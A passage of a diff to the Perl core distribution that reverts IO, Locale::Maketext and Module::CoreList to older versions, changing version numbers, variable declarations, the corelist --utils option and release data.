qualify(*GLOB); *GLOB = *{*$fd}; @@ -492,7 +494,7 @@ sub stat { ## sub autoflush { - my $old = SelectSaver->new(qualify($_[0], caller)); + my $old = new SelectSaver qualify($_[0], caller); my $prev = $|; $| = @_ > 1 ? $_[1] : 1; $prev; @@ -532,7 +534,7 @@ sub input_line_number { sub format_page_number { my $old; - $old = SelectSaver->new(qualify($_[0], caller)) if ref($_[0]); + $old = new SelectSaver qualify($_[0], caller) if ref($_[0]); my $prev = $%; $% = $_[1] if @_ > 1; $prev; @@ -540,7 +542,7 @@ sub format_page_number { sub format_lines_per_page { my $old; - $old = SelectSaver->new(qualify($_[0], caller)) if ref($_[0]); + $old = new SelectSaver qualify($_[0], caller) if ref($_[0]); my $prev = $=; $= = $_[1] if @_ > 1; $prev; @@ -548,7 +550,7 @@ sub format_lines_per_page { sub format_lines_left { my $old; - $old = SelectSaver->new(qualify($_[0], caller)) if ref($_[0]); + $old = new SelectSaver qualify($_[0], caller) if ref($_[0]); my $prev = $-; $- = $_[1] if @_ > 1; $prev; @@ -556,7 +558,7 @@ sub format_lines_left { sub format_name { my $old; - $old = SelectSaver->new(qualify($_[0], caller)) if ref($_[0]); + $old = new SelectSaver qualify($_[0], caller) if ref($_[0]); my $prev = $~; $~ = qualify($_[1], caller) if @_ > 1; $prev; @@ -564,7 +566,7 @@ sub format_name { sub format_top_name { my $old; - $old = SelectSaver->new(qualify($_[0], caller)) if ref($_[0]); + $old = new SelectSaver qualify($_[0], caller) if ref($_[0]); my $prev = $^; $^ = qualify($_[1], caller) if @_ > 1; $prev; @@ -638,7 +640,7 @@ sub constant { sub printflush { my $io = shift; my $old; - $old = SelectSaver->new(qualify($io, caller)) if ref($io); + $old = new SelectSaver qualify($io, caller) if ref($io); local $| = 1; if(ref($io)) { print $io @_; diff --git a/dist/IO/lib/IO/Pipe.pm b/dist/IO/lib/IO/Pipe.pm index f24220f11f4c..684069f4b7e7 100644 --- a/dist/IO/lib/IO/Pipe.pm +++ b/dist/IO/lib/IO/Pipe.pm @@ -6,14 +6,15 @@ package IO::Pipe; -use 5.008_001; +use 5.006_001; use IO::Handle; use strict; +our($VERSION); use Carp; use Symbol; -our $VERSION = "1.39"; +$VERSION = "1.15"; sub new { my $type = shift; diff --git a/dist/IO/lib/IO/Poll.pm b/dist/IO/lib/IO/Poll.pm index 3e949b75f719..a02dc3db9487 100644 --- a/dist/IO/lib/IO/Poll.pm +++ b/dist/IO/lib/IO/Poll.pm @@ -10,24 +10,25 @@ package IO::Poll; use strict; use IO::Handle; use Exporter (); +our(@ISA, @EXPORT_OK, @EXPORT, $VERSION); -our @ISA = qw(Exporter); -our $VERSION = "1.39"; +@ISA = qw(Exporter); +$VERSION = "0.10"; -our @EXPORT = qw( POLLIN +@EXPORT = qw( POLLIN POLLOUT POLLERR POLLHUP POLLNVAL ); -our @EXPORT_OK = qw( - POLLPRI +@EXPORT_OK = qw( + POLLPRI POLLRDNORM POLLWRNORM POLLRDBAND POLLWRBAND - POLLNORM + POLLNORM ); # [0] maps fd's to requested masks diff --git a/dist/IO/lib/IO/Seekable.pm b/dist/IO/lib/IO/Seekable.pm index 27ed663445d6..db1effda287a 100644 --- a/dist/IO/lib/IO/Seekable.pm +++ b/dist/IO/lib/IO/Seekable.pm @@ -94,19 +94,21 @@ Derived from FileHandle.pm by Graham Barr Egbarr@pobox.comE =cut -use 5.008_001; +use 5.006_001; use Carp; use strict; +our($VERSION, @EXPORT, @ISA); use IO::Handle (); # XXX we can't get these from IO::Handle or we'll get prototype # mismatch warnings on C :-( use Fcntl qw(SEEK_SET SEEK_CUR SEEK_END); require Exporter; -our @EXPORT = qw(SEEK_SET SEEK_CUR SEEK_END); -our @ISA = qw(Exporter); +@EXPORT = qw(SEEK_SET SEEK_CUR SEEK_END); +@ISA = qw(Exporter); -our $VERSION = "1.39"; +$VERSION = "1.10"; +$VERSION = eval $VERSION; sub seek { @_ == 3 or croak 'usage: $io->seek(POS, WHENCE)'; diff --git a/dist/IO/lib/IO/Select.pm b/dist/IO/lib/IO/Select.pm index 6176f8bbf8a9..994f8966ab61 100644 --- a/dist/IO/lib/IO/Select.pm +++ b/dist/IO/lib/IO/Select.pm @@ -8,11 +8,12 @@ package IO::Select; use strict; use warnings::register; +use vars qw($VERSION @ISA); require Exporter; -our $VERSION = "1.39"; +$VERSION = "1.22"; -our @ISA = qw(Exporter); # This is only so we can do version checking +@ISA = qw(Exporter); # This is only so we can do version checking sub VEC_BITS () {0} sub FD_COUNT () {1} @@ -314,13 +315,10 @@ Return an array of all registered handles. =item can_read ( [ TIMEOUT ] ) -Return an array of handles that are ready for reading. C is the -maximum amount of time to wait before returning an empty list (with C<$!> -unchanged), in seconds, possibly fractional. If C is not given -and any handles are registered then the call will block indefinitely. -Upon error, an empty list is returned, with C<$!> set to indicate the -error. To distinguish between timeout and error, set C<$!> to zero -before calling this method, and check it after an empty list is returned. +Return an array of handles that are ready for reading. C is +the maximum amount of time to wait before returning an empty list, in +seconds, possibly fractional. If C is not given and any +handles are registered then the call will block. =item can_write ( [ TIMEOUT ] ) @@ -348,14 +346,9 @@ like C. C, C and C are either C or C objects. C is optional and has the same effect as for the core select call. -If at least one handle is ready for the specified kind of operation, -the result will be an array of 3 elements, each a reference to an array -which will hold the handles that are ready for reading, writing and -have exceptions respectively. Upon timeout, an empty list is returned, -with C<$!> unchanged. Upon error, an empty list is returned, with C<$!> -set to indicate the error. To distinguish between timeout and error, -set C<$!> to zero before calling this method, and check it after an -empty list is returned. +The result will be an array of 3 elements, each a reference to an array +which will hold the handles that are ready for reading, writing and have +exceptions respectively. Upon error an empty list is returned. =back diff --git a/dist/IO/lib/IO/Socket.pm b/dist/IO/lib/IO/Socket.pm index bea16ec6e40e..c78aeecc1a02 100644 --- a/dist/IO/lib/IO/Socket.pm +++ b/dist/IO/lib/IO/Socket.pm @@ -7,12 +7,13 @@ package IO::Socket; -use 5.008_001; +require 5.006; use IO::Handle; use Socket 1.3; use Carp; use strict; +our(@ISA, $VERSION, @EXPORT_OK); use Exporter; use Errno; @@ -21,11 +22,11 @@ use Errno; require IO::Socket::INET; require IO::Socket::UNIX if ($^O ne 'epoc' && $^O ne 'symbian'); -our @ISA = qw(IO::Handle); +@ISA = qw(IO::Handle); -our $VERSION = "1.39"; +$VERSION = "1.38"; -our @EXPORT_OK = qw(sockatmark); +@EXPORT_OK = qw(sockatmark); sub import { my $pkg = shift; diff --git a/dist/IO/lib/IO/Socket/INET.pm b/dist/IO/lib/IO/Socket/INET.pm index 084cb1c631ba..7a1694733b5c 100644 --- a/dist/IO/lib/IO/Socket/INET.pm +++ b/dist/IO/lib/IO/Socket/INET.pm @@ -7,14 +7,15 @@ package IO::Socket::INET; use strict; +our(@ISA, $VERSION); use IO::Socket; use Socket; use Carp; use Exporter; use Errno; -our @ISA = qw(IO::Socket); -our $VERSION = "1.39"; +@ISA = qw(IO::Socket); +$VERSION = "1.35"; my $EINVAL = exists(&Errno::EINVAL) ? Errno::EINVAL() : 1; diff --git a/dist/IO/lib/IO/Socket/UNIX.pm b/dist/IO/lib/IO/Socket/UNIX.pm index a46dd593d64b..30b8f74eb05a 100644 --- a/dist/IO/lib/IO/Socket/UNIX.pm +++ b/dist/IO/lib/IO/Socket/UNIX.pm @@ -7,11 +7,13 @@ package IO::Socket::UNIX; use strict; +our(@ISA, $VERSION); use IO::Socket; use Carp; -our @ISA = qw(IO::Socket); -our $VERSION = "1.39"; +@ISA = qw(IO::Socket); +$VERSION = "1.26"; +$VERSION = eval $VERSION; IO::Socket::UNIX->register_domain( AF_UNIX ); diff --git a/dist/IO/poll.c b/dist/IO/poll.c index 344a406b529c..03f6604eeb61 100644 --- a/dist/IO/poll.c +++ b/dist/IO/poll.c @@ -18,7 +18,9 @@ #ifdef I_SYS_TIME # include #endif -#include +#ifdef I_TIME +# include +#endif #include #if defined(HAS_SOCKET) && !defined(VMS) && !defined(ultrix) /* VMS handles sockets via vmsish.h, ULTRIX dies of socket struct redefinitions */ # include diff --git a/dist/IO/t/io_dir.t b/dist/IO/t/io_dir.t index 762c452ec837..dc8eb43983e9 100644 --- a/dist/IO/t/io_dir.t +++ b/dist/IO/t/io_dir.t @@ -1,6 +1,14 @@ #!./perl BEGIN { + if ($ENV{PERL_CORE}) { + require Config; import Config; + if ($] < 5.00326 || not $Config{'d_readdir'}) { + print "1..0 # Skip: readdir() not available\n"; + exit 0; + } + } + require($ENV{PERL_CORE} ? "../../t/test.pl" : "./t/test.pl"); plan(16); diff --git a/dist/IO/t/io_sock.t b/dist/IO/t/io_sock.t index 37c8dad84e94..630b8566254c 100644 --- a/dist/IO/t/io_sock.t +++ b/dist/IO/t/io_sock.t @@ -24,7 +24,7 @@ BEGIN { } } -my $has_perlio = find PerlIO::Layer 'perlio'; +my $has_perlio = $] >= 5.008 && find PerlIO::Layer 'perlio'; $| = 1; print "1..26\n"; diff --git a/dist/IO/t/io_utf8.t b/dist/IO/t/io_utf8.t index 1125155a3ed3..339e278e2cc4 100644 --- a/dist/IO/t/io_utf8.t +++ b/dist/IO/t/io_utf8.t @@ -1,7 +1,7 @@ #!./perl BEGIN { - unless (find PerlIO::Layer 'perlio') { + unless ($] >= 5.008 and find PerlIO::Layer 'perlio') { print "1..0 # Skip: not perlio\n"; exit 0; } diff --git a/dist/IO/t/io_utf8argv.t b/dist/IO/t/io_utf8argv.t index 89f726a7a700..d6485f45ddd9 100644 --- a/dist/IO/t/io_utf8argv.t +++ b/dist/IO/t/io_utf8argv.t @@ -1,11 +1,11 @@ #!./perl BEGIN { - unless (find PerlIO::Layer 'perlio') { + unless ($] >= 5.008 and find PerlIO::Layer 'perlio') { print "1..0 # Skip: not perlio\n"; exit 0; } - require($ENV{PERL_CORE} ? "../../t/test.pl" : "./t/test.pl"); + require($ENV{PERL_CORE} ? "../../t/test.pl" : "../t/test.pl"); } use utf8; @@ -22,7 +22,7 @@ my $bytes = "\xcd\xbe\x0a"; if ($::IS_EBCDIC) { - require($ENV{PERL_CORE} ? "../../t/charset_tools.pl" : "./t/charset_tools.pl"); + require($ENV{PERL_CORE} ? "../../t/charset_tools.pl" : "../t/charset_tools.pl"); $bytes = byte_utf8a_to_utf8n($bytes) } diff --git a/dist/Locale-Maketext/lib/Locale/Maketext.pm b/dist/Locale-Maketext/lib/Locale/Maketext.pm index f70438b78d45..36d0c0556616 100644 --- a/dist/Locale-Maketext/lib/Locale/Maketext.pm +++ b/dist/Locale-Maketext/lib/Locale/Maketext.pm @@ -1,6 +1,7 @@ package Locale::Maketext; use strict; -our $USE_LITERALS; +use vars qw( @ISA $VERSION $MATCH_SUPERS $USING_LANGUAGE_TAGS +$USE_LITERALS $MATCH_SUPERS_TIGHTLY); use Carp (); use I18N::LangTags (); use I18N::LangTags::Detect (); @@ -25,12 +26,12 @@ BEGIN { } -our $VERSION = '1.29'; -our @ISA = (); +$VERSION = '1.28'; +@ISA = (); -our $MATCH_SUPERS = 1; -our $MATCH_SUPERS_TIGHTLY = 1; -our $USING_LANGUAGE_TAGS = 1; +$MATCH_SUPERS = 1; +$MATCH_SUPERS_TIGHTLY = 1; +$USING_LANGUAGE_TAGS = 1; # Turning this off is somewhat of a security risk in that little or no # checking will be done on the legality of tokens passed to the # eval("use $module_name") in _try_use. If you turn this off, you have diff --git a/dist/Locale-Maketext/lib/Locale/Maketext.pod b/dist/Locale-Maketext/lib/Locale/Maketext.pod index 24c8f24d8f60..564e5afd0b24 100644 --- a/dist/Locale-Maketext/lib/Locale/Maketext.pod +++ b/dist/Locale-Maketext/lib/Locale/Maketext.pod @@ -1226,7 +1226,7 @@ If you get tired of constantly saying Cmaketext>, consider making a functional wrapper for it, like so: use Projname::L10N; - our $lh; + use vars qw($lh); $lh = Projname::L10N->get_handle(...) || die "Language?"; sub pmt (@) { print( $lh->maketext(@_)) } # "pmt" is short for "Print MakeText" diff --git a/dist/Locale-Maketext/t/60_super.t b/dist/Locale-Maketext/t/60_super.t index 5ac095910e60..d54fc330078c 100644 --- a/dist/Locale-Maketext/t/60_super.t +++ b/dist/Locale-Maketext/t/60_super.t @@ -9,20 +9,23 @@ BEGIN { { package Whunk::L10N; - our @ISA = 'Locale::Maketext'; - our %Lexicon = ('hello' => 'SROBLR!'); + use vars qw(@ISA %Lexicon); + @ISA = 'Locale::Maketext'; + %Lexicon = ('hello' => 'SROBLR!'); } { package Whunk::L10N::en; - our @ISA = 'Whunk::L10N'; - our %Lexicon = ('hello' => 'HI AND STUFF!'); + use vars qw(@ISA %Lexicon); + @ISA = 'Whunk::L10N'; + %Lexicon = ('hello' => 'HI AND STUFF!'); } { package Whunk::L10N::zh_tw; - our @ISA = 'Whunk::L10N'; - our %Lexicon = ('hello' => 'NIHAU JOE!'); + use vars qw(@ISA %Lexicon); + @ISA = 'Whunk::L10N'; + %Lexicon = ('hello' => 'NIHAU JOE!'); } $ENV{'REQUEST_METHOD'} = 'GET'; diff --git a/dist/Locale-Maketext/t/70_fail_auto.t b/dist/Locale-Maketext/t/70_fail_auto.t index df0de3eb3cd5..44fe54d1b56a 100644 --- a/dist/Locale-Maketext/t/70_fail_auto.t +++ b/dist/Locale-Maketext/t/70_fail_auto.t @@ -9,12 +9,14 @@ BEGIN { { package Whunk::L10N; - our @ISA = 'Locale::Maketext'; + use vars qw(@ISA); + @ISA = 'Locale::Maketext'; } { package Whunk::L10N::en; - our @ISA = 'Whunk::L10N'; + use vars qw(@ISA); + @ISA = 'Whunk::L10N'; } my $lh = Whunk::L10N->get_handle('en'); diff --git a/dist/Module-CoreList/Changes b/dist/Module-CoreList/Changes index d3424e519638..fdc438021f66 100644 --- a/dist/Module-CoreList/Changes +++ b/dist/Module-CoreList/Changes @@ -1,24 +1,10 @@ -5.20180624 - - Updated for v5.29.0 - -5.20180622 - - Updated for v5.28.0 - -5.20180420 - - Updated for v5.27.11 - 5.20180414_26 - Updated for v5.26.2 -5.20180414_24 - - Updated for v5.24.4 - 5.20180221 - Updated for v5.27.10 5.20180220 - - Improve handling of broken versions in is_core() - - Removed Module::CoreList::TieHashDelta - Updated for v5.27.9 5.20180120 diff --git a/dist/Module-CoreList/MANIFEST b/dist/Module-CoreList/MANIFEST index 174e5080c5e0..9b2b2020e6b1 100644 --- a/dist/Module-CoreList/MANIFEST +++ b/dist/Module-CoreList/MANIFEST @@ -3,6 +3,7 @@ corelist identify-dependencies lib/Module/CoreList.pm lib/Module/CoreList.pod +lib/Module/CoreList/TieHashDelta.pm lib/Module/CoreList/Utils.pm README MANIFEST @@ -12,7 +13,6 @@ t/corelist.t t/deprecated.t t/find_modules.t t/is_core.t -t/maintainer.t t/pod.t t/utils.t META.json Module JSON meta-data (added by MakeMaker) diff --git a/dist/Module-CoreList/Makefile.PL b/dist/Module-CoreList/Makefile.PL index 6abce5210147..abe12d9ddaeb 100644 --- a/dist/Module-CoreList/Makefile.PL +++ b/dist/Module-CoreList/Makefile.PL @@ -25,6 +25,13 @@ WriteMakefile 'INSTALLDIRS' => ($] < 5.011 ? 'perl' : 'site'), 'PL_FILES' => {}, LICENSE => 'perl', + META_MERGE => { + resources => { + repository => 'git://perl5.git.perl.org/perl.git', + bugtracker => 'https://rt.perl.org/rt3/', + homepage => "http://dev.perl.org/", + }, + }, @extra, ) ; diff --git a/dist/Module-CoreList/corelist b/dist/Module-CoreList/corelist index 3d2706a8298b..9f3d335ad73b 100644 --- a/dist/Module-CoreList/corelist +++ b/dist/Module-CoreList/corelist @@ -14,8 +14,6 @@ See L for one. corelist [-a|-d] | // [] ... corelist [-v ] [ | // ] ... corelist [-r ] ... - corelist --utils [-d] [] ... - corelist --utils -v corelist --feature [] ... corelist --diff PerlVersion PerlVersion corelist --upstream @@ -115,15 +113,6 @@ lists all of the perl releases and when they were released If you pass a perl version you get the release date for that version only. -=item --utils - -lists the first version of perl each named utility program was released with - -May be used with -d to modify the first release criteria. - -If used with -v then all utilities released with that version of perl -are listed, and any utility programs named on the command line are ignored. - =item --feature, -f lists the first version bundle of each named feature given @@ -153,7 +142,7 @@ my %Opts; GetOptions( \%Opts, - qw[ help|?! man! r|release:s v|version:s a! d diff|D utils feature|f u|upstream ] + qw[ help|?! man! r|release:s v|version:s a! d diff|D feature|f u|upstream ] ); pod2usage(1) if $Opts{help}; @@ -192,12 +181,6 @@ if(exists $Opts{v} ){ } my $num_v = numify_version( $Opts{v} ); - - if ($Opts{utils}) { - utilities_in_version($num_v); - exit 0; - } - my $version_hash = Module::CoreList->find_version($num_v); if( !$version_hash ) { @@ -244,25 +227,6 @@ if ($Opts{diff}) { exit(0); } -if ($Opts{utils}) { - die "\n--utils only available with perl v5.19.1 or greater\n" - if $] < 5.019001; - - die "\nprovide at least one utility name to --utils\n" - unless @ARGV; - - warn "\n-a has no effect when --utils is used\n" if $Opts{a}; - warn "\n--diff has no effect when --utils is used\n" if $Opts{diff}; - warn "\n--upstream, or -u, has no effect when --utils is used\n" if $Opts{u}; - - my $when = maxstr(values %Module::CoreList::released); - print "\n","Data for $when\n"; - - utility_version($_) for @ARGV; - - exit(0); -} - if ($Opts{feature}) { die "\n--feature is only available with perl v5.16.0 or greater\n" if $] < 5.016; @@ -400,47 +364,6 @@ sub module_version { } } -sub utility_version { - my ($utility) = @_; - - require Module::CoreList::Utils; - - my $released = $Opts{d} - ? Module::CoreList::Utils->first_release_by_date($utility) - : Module::CoreList::Utils->first_release($utility); - - my $removed = $Opts{d} - ? Module::CoreList::Utils->removed_from_by_date($utility) - : Module::CoreList::Utils->removed_from($utility); - - if ($released) { - print "$utility was first released with perl ", format_perl_version($released); - print " and later removed in ", format_perl_version($removed) - if $removed; - print "\n"; - } else { - print "$utility was not in CORE (or so I think)\n"; - } -} - -sub utilities_in_version { - my ($version) = @_; - - require Module::CoreList::Utils; - - my @utilities = Module::CoreList::Utils->utilities($version); - - if (not @utilities) { - print "\nModule::CoreList::Utils has no info on perl $version\n\n"; - exit 1; - } - - print "\nThe following utilities were in perl ", - format_perl_version($version), " CORE\n"; - print "$_\n" for sort { lc($a) cmp lc($b) } @utilities; - print "\n"; -} - sub max_mod_len { my $versions = shift; diff --git a/dist/Module-CoreList/identify-dependencies b/dist/Module-CoreList/identify-dependencies index faa88f2f0fbf..1e33f2d193a4 100644 --- a/dist/Module-CoreList/identify-dependencies +++ b/dist/Module-CoreList/identify-dependencies @@ -3,7 +3,7 @@ use strict; use warnings; use Module::CoreList; -our %modules; +use vars qw/%modules/; my @files = @ARGV; unless (@files) { diff --git a/dist/Module-CoreList/lib/Module/CoreList.pm b/dist/Module-CoreList/lib/Module/CoreList.pm index f6f121e38676..deb52672e962 100644 --- a/dist/Module-CoreList/lib/Module/CoreList.pm +++ b/dist/Module-CoreList/lib/Module/CoreList.pm @@ -1,13 +1,9 @@ package Module::CoreList; use strict; - -our ( %released, %version, %families, %upstream, %bug_tracker, %deprecated, %delta ); - +use vars qw/$VERSION %released %version %families %upstream + %bug_tracker %deprecated %delta/; use version; -our $VERSION = '5.20180624'; - -sub PKG_PATTERN () { q#\A[a-zA-Z_][0-9a-zA-Z_]*(?:(::|')[0-9a-zA-Z_]+)*\z# } -sub _looks_like_invocant ($) { local $@; !!eval { $_[0]->isa(__PACKAGE__) } } +$VERSION = '5.20180414_26'; sub _undelta { my ($delta) = @_; @@ -48,8 +44,9 @@ END { sub first_release_raw { - shift if defined $_[1] and $_[1] =~ PKG_PATTERN and _looks_like_invocant $_[0]; my $module = shift; + $module = shift if eval { $module->isa(__PACKAGE__) } + and scalar @_ and $_[0] =~ m#\A[a-zA-Z_][0-9a-zA-Z_]*(?:(::|')[0-9a-zA-Z_]+)*\z#; my $version = shift; my @perls = $version @@ -73,9 +70,10 @@ sub first_release { } sub find_modules { - shift if _looks_like_invocant $_[0]; my $regex = shift; - my @perls = @_ ? @_ : keys %version; + $regex = shift if eval { $regex->isa(__PACKAGE__) }; + my @perls = @_; + @perls = keys %version unless @perls; my %mods; foreach (@perls) { @@ -87,23 +85,30 @@ sub find_modules { } sub find_version { - shift if _looks_like_invocant $_[0]; my $v = shift; - return $version{$v} if defined $v and defined $version{$v}; + if ($v->isa(__PACKAGE__)) { + $v = shift; + return if not defined $v; + } + return $version{$v} if defined $version{$v}; return; } sub is_deprecated { - shift if defined $_[1] and $_[1] =~ PKG_PATTERN and _looks_like_invocant $_[0]; my $module = shift; - my $perl_version = shift || $]; + $module = shift if eval { $module->isa(__PACKAGE__) } + and scalar @_ and $_[0] =~ m#\A[a-zA-Z_][0-9a-zA-Z_]*(?:(::|')[0-9a-zA-Z_]+)*\z#; + my $perl_version = shift; + $perl_version ||= $]; return unless $module && exists $deprecated{$perl_version}{$module}; return $deprecated{$perl_version}{$module}; } sub deprecated_in { - shift if defined $_[1] and $_[1] =~ PKG_PATTERN and _looks_like_invocant $_[0]; - my $module = shift or return; + my $module = shift; + $module = shift if eval { $module->isa(__PACKAGE__) } + and scalar @_ and $_[0] =~ m#\A[a-zA-Z_][0-9a-zA-Z_]*(?:(::|')[0-9a-zA-Z_]+)*\z#; + return unless $module; my @perls = grep { exists $deprecated{$_}{$module} } keys %deprecated; return unless @perls; require List::Util; @@ -121,8 +126,9 @@ sub removed_from_by_date { } sub removed_raw { - shift if defined $_[1] and $_[1] =~ PKG_PATTERN and _looks_like_invocant $_[0]; my $mod = shift; + $mod = shift if eval { $mod->isa(__PACKAGE__) } + and scalar @_ and $_[0] =~ m#\A[a-zA-Z_][0-9a-zA-Z_]*(?:(::|')[0-9a-zA-Z_]+)*\z#; return unless my @perls = sort { $a cmp $b } first_release_raw($mod); my $last = pop @perls; my @removed = grep { $_ > $last } sort { $a cmp $b } keys %version; @@ -130,8 +136,8 @@ sub removed_raw { } sub changes_between { - shift if _looks_like_invocant $_[0]; my $left_ver = shift; + $left_ver = shift if eval { $left_ver->isa(__PACKAGE__) }; my $right_ver = shift; my $left = $version{ $left_ver }; @@ -330,11 +336,7 @@ sub changes_between { 5.027008 => '2018-01-20', 5.027009 => '2018-02-20', 5.027010 => '2018-03-20', - 5.024004 => '2018-04-14', 5.026002 => '2018-04-14', - 5.027011 => '2018-04-20', - 5.028000 => '2018-06-22', - 5.029000 => '2018-06-24', ); for my $version ( sort { $a <=> $b } keys %released ) { @@ -14693,6 +14695,7 @@ for my $version ( sort { $a <=> $b } keys %released ) { 'SelfLoader' => '1.25', 'Socket' => '2.020_04', 'Storable' => '2.65', + 'Storable::__Storable__'=> '2.65', 'Test' => '1.31', 'Test2' => '1.302111', 'Test2::API' => '1.302111', @@ -15091,6 +15094,7 @@ for my $version ( sort { $a <=> $b } keys %released ) { 'PerlIO::encoding' => '0.26', 'Storable' => '3.06', 'Storable::Limit' => undef, + 'Storable::__Storable__'=> '3.06', 'Test2' => '1.302122', 'Test2::API' => '1.302122', 'Test2::API::Breakage' => '1.302122', @@ -15369,18 +15373,6 @@ for my $version ( sort { $a <=> $b } keys %released ) { removed => { } }, - 5.024004 => { - delta_from => 5.024003, - changed => { - 'B::Op_private' => '5.024004', - 'Config' => '5.024004', - 'Module::CoreList' => '5.20180414_24', - 'Module::CoreList::TieHashDelta'=> '5.20180414_24', - 'Module::CoreList::Utils'=> '5.20180414_24', - }, - removed => { - } - }, 5.026002 => { delta_from => 5.026001, changed => { @@ -15396,82 +15388,16 @@ for my $version ( sort { $a <=> $b } keys %released ) { removed => { } }, - 5.027011 => { - delta_from => 5.027010, - changed => { - 'B::Op_private' => '5.027011', - 'Carp' => '1.50', - 'Carp::Heavy' => '1.50', - 'Config' => '5.027011', - 'Devel::PPPort' => '3.40', - 'Exporter' => '5.73', - 'Exporter::Heavy' => '5.73', - 'ExtUtils::Constant' => '0.25', - 'I18N::Langinfo' => '0.17', - 'IO' => '1.39', - 'IO::Dir' => '1.39', - 'IO::File' => '1.39', - 'IO::Handle' => '1.39', - 'IO::Pipe' => '1.39', - 'IO::Poll' => '1.39', - 'IO::Seekable' => '1.39', - 'IO::Select' => '1.39', - 'IO::Socket' => '1.39', - 'IO::Socket::INET' => '1.39', - 'IO::Socket::UNIX' => '1.39', - 'Module::CoreList' => '5.20180420', - 'Module::CoreList::Utils'=> '5.20180420', - 'POSIX' => '1.84', - 'Time::HiRes' => '1.9759', - 'XS::APItest' => '0.97', - 'bytes' => '1.06', - 'subs' => '1.03', - 'vars' => '1.04', - 'version' => '0.9923', - 'version::regex' => '0.9923', - }, - removed => { - } - }, - 5.028000 => { - delta_from => 5.027011, - changed => { - 'Archive::Tar' => '2.28', - 'Archive::Tar::Constant'=> '2.28', - 'Archive::Tar::File' => '2.28', - 'B::Op_private' => '5.028000', - 'Config' => '5.028', - 'Module::CoreList' => '5.20180622', - 'Module::CoreList::Utils'=> '5.20180622', - 'Storable' => '3.08', - 'XS::APItest' => '0.98', - 'feature' => '1.52', - }, - removed => { - } - }, - 5.029000 => { - delta_from => 5.028000, - changed => { - 'Archive::Tar' => '2.30', - 'Archive::Tar::Constant'=> '2.30', - 'Archive::Tar::File' => '2.30', - 'Config' => '5.029', - 'Module::CoreList' => '5.20180624', - 'Module::CoreList::Utils'=> '5.20180624', - 'feature' => '1.53', - }, - removed => { - } - }, ); sub is_core { - shift if defined $_[1] and $_[1] =~ /^\w/ and _looks_like_invocant $_[0]; my $module = shift; - my $module_version = @_ > 0 ? shift : undef; - my $perl_version = @_ > 0 ? shift : $]; + $module = shift if eval { $module->isa(__PACKAGE__) } && @_ > 0 && defined($_[0]) && $_[0] =~ /^\w/; + my ($module_version, $perl_version); + + $module_version = shift if @_ > 0; + $perl_version = @_ > 0 ? shift : $]; my $first_release = first_release($module); @@ -15488,11 +15414,6 @@ sub is_core # On the way if we pass the required module version, we can # short-circuit and return true if (defined($module_version)) { - my $module_version_object = eval { version->parse($module_version) }; - if (!defined($module_version_object)) { - (my $err = $@) =~ s/^Invalid version format\b/Invalid version '$module_version' specified/; - die $err; - } # The Perl releases aren't a linear sequence, but a tree. We need to build the path # of releases from 5 to the specified release, and follow the module's version(s) # along that path. @@ -15510,7 +15431,7 @@ sub is_core last RELEASE if $prn > $perl_version; next unless defined(my $next_module_version = $delta{$prn}->{changed}->{$module}); - return 1 if eval { version->parse($next_module_version) >= $module_version_object }; + return 1 if version->parse($next_module_version) >= version->parse($module_version); } return 0; } @@ -16332,13 +16253,6 @@ sub is_core removed => { } }, - 5.024004 => { - delta_from => 5.024003, - changed => { - }, - removed => { - } - }, 5.026002 => { delta_from => 5.026001, changed => { @@ -16346,27 +16260,6 @@ sub is_core removed => { } }, - 5.027011 => { - delta_from => 5.02701, - changed => { - }, - removed => { - } - }, - 5.028000 => { - delta_from => 5.027011, - changed => { - }, - removed => { - } - }, - 5.029000 => { - delta_from => 5.028, - changed => { - }, - removed => { - } - }, ); %deprecated = _undelta(\%deprecated); @@ -16433,6 +16326,7 @@ sub is_core 'Compress::Zlib' => 'cpan', 'Config::Perl::V' => 'cpan', 'DB_File' => 'cpan', + 'Devel::PPPort' => 'cpan', 'Digest' => 'cpan', 'Digest::MD5' => 'cpan', 'Digest::SHA' => 'cpan', @@ -16734,30 +16628,15 @@ sub is_core 'Test2::Event::Diag' => 'cpan', 'Test2::Event::Encoding'=> 'cpan', 'Test2::Event::Exception'=> 'cpan', - 'Test2::Event::Fail' => 'cpan', 'Test2::Event::Generic' => 'cpan', + 'Test2::Event::Info' => 'cpan', 'Test2::Event::Note' => 'cpan', 'Test2::Event::Ok' => 'cpan', - 'Test2::Event::Pass' => 'cpan', 'Test2::Event::Plan' => 'cpan', 'Test2::Event::Skip' => 'cpan', 'Test2::Event::Subtest' => 'cpan', 'Test2::Event::TAP::Version'=> 'cpan', - 'Test2::Event::V2' => 'cpan', 'Test2::Event::Waiting' => 'cpan', - 'Test2::EventFacet' => 'cpan', - 'Test2::EventFacet::About'=> 'cpan', - 'Test2::EventFacet::Amnesty'=> 'cpan', - 'Test2::EventFacet::Assert'=> 'cpan', - 'Test2::EventFacet::Control'=> 'cpan', - 'Test2::EventFacet::Error'=> 'cpan', - 'Test2::EventFacet::Hub'=> 'cpan', - 'Test2::EventFacet::Info'=> 'cpan', - 'Test2::EventFacet::Meta'=> 'cpan', - 'Test2::EventFacet::Parent'=> 'cpan', - 'Test2::EventFacet::Plan'=> 'cpan', - 'Test2::EventFacet::Render'=> 'cpan', - 'Test2::EventFacet::Trace'=> 'cpan', 'Test2::Formatter' => 'cpan', 'Test2::Formatter::TAP' => 'cpan', 'Test2::Hub' => 'cpan', @@ -16770,7 +16649,6 @@ sub is_core 'Test2::Tools::Tiny' => 'cpan', 'Test2::Util' => 'cpan', 'Test2::Util::ExternalMeta'=> 'cpan', - 'Test2::Util::Facets2Legacy'=> 'cpan', 'Test2::Util::HashBase' => 'cpan', 'Test2::Util::Trace' => 'cpan', 'Test::Builder' => 'cpan', @@ -16888,6 +16766,7 @@ sub is_core 'Compress::Zlib' => undef, 'Config::Perl::V' => undef, 'DB_File' => undef, + 'Devel::PPPort' => 'https://github.com/mhx/Devel-PPPort/issues/', 'Digest' => undef, 'Digest::MD5' => undef, 'Digest::SHA' => undef, @@ -17189,30 +17068,15 @@ sub is_core 'Test2::Event::Diag' => 'http://github.com/Test-More/test-more/issues', 'Test2::Event::Encoding'=> 'http://github.com/Test-More/test-more/issues', 'Test2::Event::Exception'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::Event::Fail' => 'http://github.com/Test-More/test-more/issues', 'Test2::Event::Generic' => 'http://github.com/Test-More/test-more/issues', + 'Test2::Event::Info' => undef, 'Test2::Event::Note' => 'http://github.com/Test-More/test-more/issues', 'Test2::Event::Ok' => 'http://github.com/Test-More/test-more/issues', - 'Test2::Event::Pass' => 'http://github.com/Test-More/test-more/issues', 'Test2::Event::Plan' => 